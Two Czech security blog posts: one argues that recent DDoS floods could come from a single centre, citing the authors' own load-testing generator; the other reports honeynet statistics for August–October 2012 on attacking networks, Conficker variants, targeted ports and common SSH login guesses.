A pokud se někdo zamýšlíte nad tím, zdali je možné takový útok uskutečnit pouze z jednoho centra, tak vězte, že to není nic moc komplikovaného. V rámci našeho bezpečnostního týmu jsme postavili řešení, které je schopno vygenerovat tok o síle cca deseti miliónů packetu za vteřinu. Tedy více, než kolik bylo emitováno v proběhlých útocích. Packety generuje menší farma v podstatě běžných PC, takže náklady na pořízení takového generátoru jsou velmi nízké. Trochu náročnější je mít kvalitní přípojku do Internetu a dostatečně silný router. Tok takového útoku je totiž cca 5Gbps a to již přeci jenom každý doma nemá. V současné době toto řešení používáme pro testování vlastní infrastruktury a již se nám přihlásili první zájemci, kteří by si rádi otestovali jejich vlastní systémy.

Tedy útoky, kterých jsme byli v nedávné minulosti svědky, nemusely nutně pocházet ze zavirovaných počítačů nic netušících lidí, mohly klidně vycházet z jednoho centra, sami jsme si takové centrum během pár hodin dokázali postavit. Nicméně pochopitelně netvrdím, že to nemohla být nějaká geograficky omezená část botnetu. Každopádně bych se přimlouval, aby toto první písmenko bylo v té zkratce dDoS co nejmenší.

Váš ONdŘEJ FILIP

Uběhly opět tři měsíce od doby, kdy jsme zveřejnili statistiku z našeho honeynetu. Kdo nezvaný tedy navštívil naše servery v nedávné době?

Tentokrát jsme útočníky seskupili podle jejich autonomních systémů, oproti původnímu přehledu jednotlivých adres. Důvodem je výskyt rovnoměrnějších útoků více strojů z jednoho AS, které by jinak obsadily většinu z prvních deseti míst v přehledu jednotlivců a tabulka by nebyla tak zajímavá. Nejčastěji se připojovaly adresy z AS3462 (Tchaj-wan) a šířily tuto verzi červa Conficker (konkrétně 19630 případů). Další místo patří ruskému AS8402, jehož stroje nás napadly jinou verzí (7472 případů). Soutěž jednotlivců by vyhrála IP adresa 212.56.215.250 z Moldavska, která se připojovala téměř stotisíckrát, což je více než dvojnásobek proti minulému období.

Nejčastější útočníci (srpen – říjen 2012)

Na mapě světa je Tchaj-wan jako hlavní zdroj útoků nenápadný. Z větších zemí lze vidět tradiční Rusko, pak Brazílii a Rumunsko. Menší množství útoků pocházelo také z Francie a Argentiny.

Zdroje útoků (srpen – říjen 2012)

Nejčastěji se útočníci připojovali na port 445 (SMB protokol), řádově méně pokusů bylo dále na porty 3306 (databáze MySQL), 1433 (Microsoft SQL Server), 80 (HTTP) a 5060 (SIP).

Cílové porty (srpen – říjen 2012), horizontální osa má logaritmickou škálu

Přehled zachyceného malware výrazně vedou zmiňované dvě varianty červa Conficker. Další místa jsou jen v řádech desítek případů a bez výjimky pouze jiné varianty stejného červa. Mimochodem pokud jste ISP a zajímají vás statistiky tohoto červa pro váš autonomní systém, můžete využít web Shadowserver.

Zachycený malware (srpen – říjen 2012)

Na závěr ještě přehled nejčastějších kombinací přihlašovacích údajů zkoušených na SSH službu: vede obligátní root/password, jediný nerootovský účet, který se do top 10 dostal, je Oracle.

Přihlašování na SSH (srpen – říjen 2012)

Jiří Machálek

P.S. Mimochodem, o projektu Honeynet bude také jedna z přednášek konference Internet a Technologie 12. Přijďte se podívat.